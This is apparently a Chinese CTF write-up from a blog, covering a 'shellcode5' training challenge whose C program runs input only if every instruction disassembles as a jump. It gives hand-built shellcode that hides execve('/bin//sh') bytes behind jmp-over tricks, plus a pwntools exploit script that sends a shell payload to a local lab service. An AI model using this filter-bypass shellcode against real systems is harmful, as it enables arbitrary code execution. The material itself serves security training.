首页 > 其他分享 >summer2024_机器码

summer2024_机器码

时间:2024-07-30 23:17:59浏览次数:12  
标签:01 48 summer2024 EB 机器码 E9 B3 90

shellcode5

include <string.h>

include <stdio.h>

include <stdlib.h>

include <inttypes.h>

include <capstone/capstone.h>

include <sys/mman.h>

int upkeep() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
int validate(char* ptr, size_t len) {
csh handle;
cs_insn insn;
int ret = 1;
if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) != CS_ERR_OK) {
return 0;
}
size_t count = cs_disasm(handle, ptr, len, 0, 0, &insn);
size_t success_len = 0;
if (count > 0) {
for (size_t j = 0; j < count; j++) {
ret &= insn[j].mnemonic[0] == 'j';
success_len += insn[j].size;
}
cs_free(insn, count);
} else {
return 0;
}
cs_close(&handle);
ret &= len == success_len;
return ret;
}
int main() {
upkeep();
char code[4096];
size_t n = read(0, code, 0x1000);
if (n > 0 && validate(code, n)) {
((void (
)())code)();
}
return 0;
}

要满足shellcode都是j开头的指令

所以就是每一次先jmp下一条指令,然后短跳转开始我们的shellcode指令

EB 01 E9 48 31 FF 90
EB 01 E9 48 31 F6 90
EB 01 E9 48 31 D2 90
EB 01 E9 48 31 C0 90
EB 01 E9 48 31 DB 90
EB 01 E9 50 90 90 90
EB 01 E9 B3 68 90 90
EB 01 E9 48 C1 E3 08
EB 01 E9 B3 73 90 90
EB 01 E9 48 C1 E3 08
EB 01 E9 B3 2F 90 90
EB 01 E9 48 C1 E3 08
EB 01 E9 B3 2F 90 90
EB 01 E9 48 C1 E3 08
EB 01 E9 B3 6E 90 90
EB 01 E9 48 C1 E3 08
EB 01 E9 B3 69 90 90
EB 01 E9 48 C1 E3 08
EB 01 E9 B3 62 90 90
EB 01 E9 48 C1 E3 08
EB 01 E9 B3 2F 90 90
EB 01 E9 53 90 90 90
EB 01 E9 48 89 E7 90
EB 01 E9 B0 3B 90 90
EB 01 E9 0F 05 90 90

汇编是这样

from pwn import *
elf = ELF("shellcode5")
context.log_level = "debug"
context.binary = elf
skip = asm("""
jmp here+1
here:
""")
set_rdi_rsi = asm("""
push rdx
pop rsi
xor edi, edi
""")
set_rdx = asm("""
mov al, 255
mov edx, eax
""")
set_rax_syscall = asm("""
xor eax, eax
syscall
""")
# rax = 0, rdi = 0, rsi = ptr, rdx = len
p = remote("127.0.0.1", 37251)
# p = process()
# p = elf.debug()
first = skip + b"\xe9" + set_rdi_rsi + skip + b"\xe9" + set_rdx + skip +
b"\xe9" + set_rax_syscall
p.send(first)
pause()
p.send(b"A" * len(first) + asm(shellcraft.sh()))
p.interactive()

标签:01,48,summer2024,EB,机器码,E9,B3,90
From: https://www.cnblogs.com/Jexy/p/18333545

相关文章

  • 格式化字符串(summer2024_fmt)
    参考博客[参考博客]:https://blog.csdn.net/ysy___ysy/article/details/135700140[参考博客]:https://blog.csdn.net/2402_83422357/article/details/139180404戳此切大佬博客https://blog.csdn.net/Morphy_Amo/article/details/122215773https://blog.csdn.net/song_lee/......
  • summer2024_orw
    妈呀普天同庆,终于过了啊啊啊啊啊【尖叫】【阴暗爬行】orw原理就是有两个函数可以控制函数禁用prtcl()和seccomp()prctl#include<sys/prctl.h>intprctl(intoption,unsignedlongarg2,unsignedlongarg3,unsignedlongarg4,unsignedlongarg5);//主要关注prctl()......
  • 暑期集训shellcode5(手搓机器码)
    拖进ida里面反汇编再让人工智能分析(我是废物)(后来给源码了,直接上源码)#include<string.h>#include<stdio.h>#include<stdlib.h>#include<inttypes.h>#include<capstone/capstone.h>#include<sys/mman.h>intupkeep(){setvbuf(stdin,NULL,_IONB......
  • ARM汇编与机器码、汇编指令
    文章目录1. CISC与RISC指令集2. ARM汇编指令3. 汇编与机器码4. 汇编指令格式5. MOV指令6. BL指令7. B指令8. ADD/SUB指令9. LDR/STR指令1. CISC与RISC指令集根据指令的复杂度,所有CPU可以分为两类:CISC(ComplexInstructionSetComputer)描述:复杂指令集......
  • 机器码生成器
    首先看下页面 代码如下privatevoidbtn_Create_Click(objectsender,EventArgse){stringuuid=GetUuid();stringjiqima=GenerateMD5(uuid).ToUpper();tb_IdCard.Text=jiqima;}///<summary>......
  • 机器码备份_二
    [yhzr]有意合作联系扣扣:1176769884$$$AA24C7BD5A0A8FE8E06E1FB53BBE8AD4:00|66|88_CF4DF748256261B751D029853C3DA5BC:00|01|02|03|04|10|11|12|13|14|20|21|22|23|24|30|31|32|33|34|40|41|66|88_80F90FC9A3100B423F6AD58EBA7AB875:00|01|02|03|04|10|11|12|13|14|20|21|22|23|2......
  • 6.1 KMP算法搜索机器码
    KMP算法是一种高效的字符串匹配算法,它的核心思想是利用已经匹配成功的子串前缀的信息,避免重复匹配,从而达到提高匹配效率的目的。KMP算法的核心是构建模式串的前缀数组Next,Next数组的意义是:当模式串中的某个字符与主串中的某个字符失配时,Next数组记录了模式串中应该回退到哪个位置,以......
  • 6.1 KMP算法搜索机器码
    KMP算法是一种高效的字符串匹配算法,它的核心思想是利用已经匹配成功的子串前缀的信息,避免重复匹配,从而达到提高匹配效率的目的。KMP算法的核心是构建模式串的前缀数组Next,Next数组的意义是:当模式串中的某个字符与主串中的某个字符失配时,Next数组记录了模式串中应该回退到哪个位置,以......
  • 6.1 KMP算法搜索机器码
    KMP算法是一种高效的字符串匹配算法,它的核心思想是利用已经匹配成功的子串前缀的信息,避免重复匹配,从而达到提高匹配效率的目的。KMP算法的核心是构建模式串的前缀数组Next,Next数组的意义是:当模式串中的某个字符与主串中的某个字符失配时,Next数组记录了模式串中应该回退到哪个位置,......
  • 机器码备份
    [yhzr]新版本改动太大,建议保留老版本以备不时只需,重要事件我会在这发布,请关注!更新通知群:待定$$$D2ACF487CB8563B1D5BFFE4A9F459FA3:00|01|02|03|04|10|11|12|13|14|20|21|22|23|24|30|31|32|33|34|40|41|66|88_F30857786CCDAE69B74C391B27DB3F92:00|01|02|03|04_FBD6309BBD4EDFF4......